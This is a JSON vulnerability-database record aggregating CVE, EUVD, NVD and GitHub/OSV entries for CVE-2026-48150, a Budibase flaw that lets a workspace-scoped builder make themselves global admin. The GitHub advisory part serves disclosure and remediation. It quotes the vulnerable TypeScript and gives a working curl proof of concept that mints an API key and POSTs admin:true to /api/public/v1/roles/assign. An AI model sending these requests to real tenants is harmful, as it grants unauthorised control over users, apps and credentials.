{"id":"GHSA-6xp4-cf37-ppjh","revision":null,"records":[{"revision":"7d82353240604073a24c5379d87b466b","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-48150","aliases":[],"title":"Budibase: Workspace-scoped builder escalates to global admin via /api/public/v1/roles/assign","description":"Budibase is an open-source low-code platform. Prior to 3.39.0, /api/public/v1/roles/assign is guarded by the builderOrAdmin middleware, which passes any user who is a builder for the app id in the x-budibase-app-id header. That check admits both global builders and workspace-scoped builders (builder.apps set but builder.global unset). The controller then spreads the request body into the SDK call, and the SDK grants builder.global=true or admin.global=true on whichever user ids the caller supplies. Bob, a workspace-scoped builder with an API key, promotes himself or any other user to global admin with one POST. The whole flow is tenant-wide privilege escalation from an app-level role, available to anyone with an Enterprise license that unlocks the EXPANDED_PUBLIC_API feature. This vulnerability is fixed in 3.39.0.","state":0,"publishedAt":"2026-05-27T16:58:18.979+00:00","modifiedAt":"2026-05-27T17:57:41.445+00:00","affected":[{"ecosystem":"Vendor product","name":"budibase","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"Budibase\",\n                    \"product\": \"budibase\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 3.39.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L","score":9,"severity":"CRITICAL"}],"references":["https://github.com/Budibase/budibase/security/advisories/GHSA-6xp4-cf37-ppjh"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-48150","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-48150","identifiers":["CVE-2026-48150"]},"retained":false,"historicalAffected":[]},{"revision":"990f92cdb3ca479cab8a7aec65f368fa","observedAt":"2026-11-13T13:58:55.267+00:00","statement":{"source":"euvd","id":"EUVD-2026-32590","aliases":["CVE-2026-48150","GHSA-6xp4-cf37-ppjh"],"title":"Budibase is an open-source low-code platform. Prior to 3.39.0, /api/public/v1/roles/assign is guarded by the builderOrAdmin middleware, which passes any user who is a builder for the app id in the x-budibase-app-id header. That check admits…","description":"Budibase is an open-source low-code platform. Prior to 3.39.0, /api/public/v1/roles/assign is guarded by the builderOrAdmin middleware, which passes any user who is a builder for the app id in the x-budibase-app-id header. That check admits both global builders and workspace-scoped builders (builder.apps set but builder.global unset). The controller then spreads the request body into the SDK call, and the SDK grants builder.global=true or admin.global=true on whichever user ids the caller supplies. Bob, a workspace-scoped builder with an API key, promotes himself or any other user to global admin with one POST. The whole flow is tenant-wide privilege escalation from an app-level role, available to anyone with an Enterprise license that unlocks the EXPANDED_PUBLIC_API feature. This vulnerability is fixed in 3.39.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L","score":9,"severity":null}],"references":["https://github.com/Budibase/budibase/security/advisories/GHSA-6xp4-cf37-ppjh"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-32590","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 27, 2026, 4:58:18 PM","dateUpdated":"May 27, 2026, 5:57:41 PM"},"relatedAdvisories":[{"id":"WID-SEC-W-2026-1629","title":"Budibase: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2026-48128","CVE-2026-48146","CVE-2026-48147","CVE-2026-48148","CVE-2026-48149","CVE-2026-48150","CVE-2026-48151","CVE-2026-48152","CVE-2026-48153"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-32590","identifiers":["EUVD-2026-32590","CVE-2026-48150","GHSA-6xp4-cf37-ppjh"]},"retained":false,"historicalAffected":[]},{"revision":"e5d3e26d5cf545b1a180043a2fefb29e","observedAt":"2026-10-25T12:17:32.273+00:00","statement":{"source":"nvd","id":"CVE-2026-48150","aliases":[],"title":"Budibase is an open-source low-code platform. Prior to 3.39.0, /api/public/v1/roles/assign is guarded by the builderOrAdmin middleware, which passes any user who is a builder for the app id in the x-budibase-app-id header. That check admits…","description":"Budibase is an open-source low-code platform. Prior to 3.39.0, /api/public/v1/roles/assign is guarded by the builderOrAdmin middleware, which passes any user who is a builder for the app id in the x-budibase-app-id header. That check admits both global builders and workspace-scoped builders (builder.apps set but builder.global unset). The controller then spreads the request body into the SDK call, and the SDK grants builder.global=true or admin.global=true on whichever user ids the caller supplies. Bob, a workspace-scoped builder with an API key, promotes himself or any other user to global admin with one POST. The whole flow is tenant-wide privilege escalation from an app-level role, available to anyone with an Enterprise license that unlocks the EXPANDED_PUBLIC_API feature. This vulnerability is fixed in 3.39.0.","state":0,"publishedAt":"2026-05-27T18:16:27.463+00:00","modifiedAt":"2026-06-17T10:54:53.82+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L","score":9,"severity":"CRITICAL"}],"references":["https://github.com/Budibase/budibase/security/advisories/GHSA-6xp4-cf37-ppjh"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-48150","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-915"],"productCriteria":[],"sourceDates":{"published":"2026-05-27T18:16:27.463","lastModified":"2026-06-17T10:54:53.820"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-48150","identifiers":["CVE-2026-48150"]},"retained":false,"historicalAffected":[]},{"revision":"7757a89cdc854177a7a17173474a3e02","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-6xp4-cf37-ppjh","aliases":["CVE-2026-48150"],"title":"Budibase: Workspace-scoped builder escalates to global admin via /api/public/v1/roles/assign","description":"## Summary\n\n`/api/public/v1/roles/assign` is guarded by the `builderOrAdmin` middleware, which passes any user who is a builder for the app id in the `x-budibase-app-id` header. That check admits both global builders and workspace-scoped builders (`builder.apps` set but `builder.global` unset). The controller then spreads the request body into the SDK call, and the SDK grants `builder.global=true` or `admin.global=true` on whichever user ids the caller supplies. Bob, a workspace-scoped builder with an API key, promotes himself or any other user to global admin with one POST. The whole flow is tenant-wide privilege escalation from an app-level role, available to anyone with an Enterprise license that unlocks the `EXPANDED_PUBLIC_API` feature.\n\n## Details\n\nController (`packages/server/src/api/controllers/public/roles.ts:13-17`):\n\n```typescript\nexport async function assignAppBuilder(ctx: Ctx) {\n  const { userIds, ...assignmentProps } = ctx.request.body\n  await sdk.publicApi.roles.assign(userIds, assignmentProps)\n  ctx.body = { data: { userIds } }\n}\n```\n\nNothing filters `assignmentProps`. The request body's `builder` and `admin` keys flow directly into the SDK.\n\nSDK (`packages/pro/src/sdk/publicApi/roles.ts:17-47`):\n\n```typescript\nexport async function assign(userIds: string[], opts: AssignmentOpts) {\n  if (!(await isExpandedPublicApiEnabled())) {\n    throw new Error(\"Unable to assign roles - license required.\")\n  }\n  const users = await userDB.bulkGet(userIds)\n  for (let user of users) {\n    // ...\n    if (opts.builder) {\n      user.builder = { global: true }\n    }\n    if (opts.admin) {\n      user.admin = { global: true }\n    }\n  }\n  await userDB.bulkUpdate(users)\n}\n```\n\nNo check that the caller already holds the privilege they are granting. `user.builder` is overwritten unconditionally, which also strips any existing `builder.apps` scope from the target.\n\nRoute guard (`packages/backend-core/src/middleware/builderOrAdmin.ts:6-20`):\n\n```typescript\nexport async function builderOrAdmin(ctx: UserCtx, next: any) {\n  if (ctx.internal || isAdmin(ctx.user)) { return next() }\n  const workspaceId = await getWorkspaceIdFromCtx(ctx)\n  if (!workspaceId && !env.isWorker()) {\n    ctx.throw(403, \"This request required a workspace id.\")\n  } else if (!workspaceId && !hasBuilderPermissions(ctx.user)) {\n    ctx.throw(403, \"Admin/Builder user only endpoint.\")\n  } else if (workspaceId && !isBuilder(ctx.user, workspaceId)) {\n    ctx.throw(403, \"Workspace Admin/Builder user only endpoint.\")\n  }\n  // passes\n}\n```\n\n`isBuilder(user, workspaceId)` returns true for any user whose `builder.apps` array contains the workspace id, even when `builder.global` is unset. The endpoint therefore trusts an app-level builder with a global-scope grant.\n\n## Proof of Concept\n\nTested on Budibase 3.35.8 (master at f960e361). The public API license gate at `roles.ts:18` was disabled in the test bundle so the underlying privilege-escalation could be reproduced end-to-end; on a licensed Enterprise tenant the gate passes and the same requests land.\n\nStep 1: the admin creates two users. Alice is a workspace-scoped builder on an app (`builder.apps: [app_...]`, `builder.global` unset, `admin.global` unset). Victim is a BASIC user.\n\nStep 2: Alice calls `GET /api/global/self/api_key` to mint an API key tied to her identity:\n\n```bash\ncurl -sS -b alice \"$BASE/api/global/self/api_key\"\n# → {\"apiKey\":\"80f28...\",\"userId\":\"us_dab...\",\"createdAt\":\"...\"}\n```\n\nStep 3: Alice calls `/api/public/v1/roles/assign` with the victim's id and `builder: true`. She scopes the request to her own app via `x-budibase-app-id` so `builderOrAdmin` passes:\n\n```bash\ncurl -sS -X POST \"$BASE/api/public/v1/roles/assign\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"x-budibase-api-key: $ALICE_APIKEY\" \\\n  -H \"x-budibase-app-id: $APP_ID\" \\\n  -d '{\"userIds\":[\"us_70b6...victim\"],\"builder\":true}'\n```\n\nAdmin verifies:\n\n```\nBEFORE: builder: {'global': False} admin: {'global': False}\nATTACK: HTTP 200 {\"data\":{\"userIds\":[\"us_70b6...\"]}}\nAFTER:  builder: {'global': True}  admin: {'global': False}\n```\n\nStep 4: Alice follows up with `\"admin\": true` and can target her own id:\n\n```bash\ncurl -sS -X POST \"$BASE/api/public/v1/roles/assign\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"x-budibase-api-key: $ALICE_APIKEY\" \\\n  -H \"x-budibase-app-id: $APP_ID\" \\\n  -d '{\"userIds\":[\"us_dab...alice\"],\"admin\":true}'\n```\n\n```\nAFTER: builder: {'apps': ['app_...']} admin: {'global': True}\n```\n\nAlice is now a global admin of the tenant. She kept `builder.apps` because the SDK only overwrites the keys it was asked to set; `admin: true` writes `admin = { global: true }` without touching `builder`.\n\n## Impact\n\nEvery workspace-scoped builder of any app in the tenant is one request away from global admin. Global admin grants unrestricted access to the tenant: every app in every workspace, every user, every datasource credential, every automation, every SCIM / OIDC / audit-log config. The mass-assignment also strips scoping from the target's existing role, so downgrading a legitimate global builder to an app-scoped builder fails: a later call reinstates `global: true`.\n\nA tenant that shares app-building duties across teams (the common Enterprise pattern) cannot hold the per-app boundary with the current middleware. This matches GHSA-2g39-332f-68p9 (Critical Privilege Escalation & IDOR via Missing RBAC) in shape and impact.\n\n## Recommended Fix\n\nEnforce the caller's privilege in the SDK, matching the grant they want to make:\n\n```typescript\n// packages/pro/src/sdk/publicApi/roles.ts:32-43\nconst caller = context.getIdentity() // or however the SDK resolves the caller\nif (opts.builder) {\n  if (!caller?.builder?.global && !caller?.admin?.global) {\n    throw new HTTPError(\"Only global builders or admins can grant global builder\", 403)\n  }\n  user.builder = { global: true }\n}\nif (opts.admin) {\n  if (!caller?.admin?.global) {\n    throw new HTTPError(\"Only global admins can grant global admin\", 403)\n  }\n  user.admin = { global: true }\n}\n```\n\nAlternative, equally valid: tighten `builderOrAdmin` so that endpoints which can set global-scope properties require `isGlobalBuilder` or `isAdmin`. That fixes this endpoint and any future endpoint that shares the middleware.\n\nWhichever fix lands, also strip `builder` and `admin` from `assignmentProps` at the controller boundary (`packages/server/src/api/controllers/public/roles.ts:14`) unless the caller has `admin.global=true`. Defense-in-depth against a future SDK regression.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","state":0,"publishedAt":"2026-06-12T18:28:26+00:00","modifiedAt":"2026-09-10T03:50:48.6826018+00:00","affected":[{"ecosystem":"npm","name":"@budibase/server","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.39.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/Budibase/budibase/security/advisories/GHSA-6xp4-cf37-ppjh","https://nvd.nist.gov/vuln/detail/CVE-2026-48150","https://github.com/Budibase/budibase"],"sourceUrl":"https://github.com/advisories/GHSA-6xp4-cf37-ppjh","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-6xp4-cf37-ppjh","identifiers":["GHSA-6xp4-cf37-ppjh","CVE-2026-48150"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-15T09:26:06.7525529+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-15T09:26:06.7525529+00:00","lastSuccessAt":"2026-11-15T09:26:06.9410933+00:00","error":null,"lastVerifiedAt":"2026-11-15T09:26:06.941094+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7de4d7559a5263003f03d9f70577ab06f92ba4178309f26fce53e22a4a959294-9e3d838f79cf8ff38c78723122cff976bed4490ddcf297ed0587cd3b1d7c5b04","complete":true,"records":425783,"lastAttemptAt":"2026-11-15T09:26:06.228816+00:00","lastSuccessAt":"2026-11-15T09:26:06.1945365+00:00","error":null,"lastVerifiedAt":"2026-11-15T09:26:06.228816+00:00","snapshotPublishedAt":"2026-11-15T08:30:19+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-ff9157aead1d4c57adc3edc2a4a92d82","complete":false,"records":13821,"lastAttemptAt":"2026-11-15T09:38:27.5598487+00:00","lastSuccessAt":"2026-11-15T09:38:27.544+00:00","error":"180 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-15T09:38:27.544+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13577,"expectedIdentifiers":13874,"failedIdentifiers":180},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-15T09:26:06.7525529+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-15T09:26:06.7525529+00:00","lastSuccessAt":"2026-11-15T09:26:06.9427316+00:00","error":null,"lastVerifiedAt":"2026-11-15T09:26:06.9427319+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-39f2794893ce49af81edbfe444e36bd6","complete":true,"records":13833,"lastAttemptAt":"2026-11-15T09:26:11.2401689+00:00","lastSuccessAt":"2026-11-15T08:26:34.303+00:00","error":null,"lastVerifiedAt":"2026-11-15T08:26:34.303+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13874,"expectedIdentifiers":13874,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-15T09:26:06.4945342+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-15T09:26:06.4945342+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-15T09:26:06.2866573+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-15T09:26:06.2866573+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-012aff9b2fb349d53e2c4bace6ca57956b6f5f9d82c1dc9fdc1c9b3c738f8977","complete":true,"records":3148,"lastAttemptAt":"2026-11-15T09:26:06.6048599+00:00","lastSuccessAt":"2026-11-14T04:57:03.8279646+00:00","error":null,"lastVerifiedAt":"2026-11-15T09:26:06.6048599+00:00","snapshotPublishedAt":"2026-11-14T03:02:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-878f718ccd076f540460423958c8e379b139b997b45858275573ecc4d702fe9a","complete":true,"records":232474,"lastAttemptAt":"2026-11-15T09:26:06.3921691+00:00","lastSuccessAt":"2026-11-15T05:33:06.8241102+00:00","error":null,"lastVerifiedAt":"2026-11-15T09:26:06.3921691+00:00","snapshotPublishedAt":"2026-11-15T04:33:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}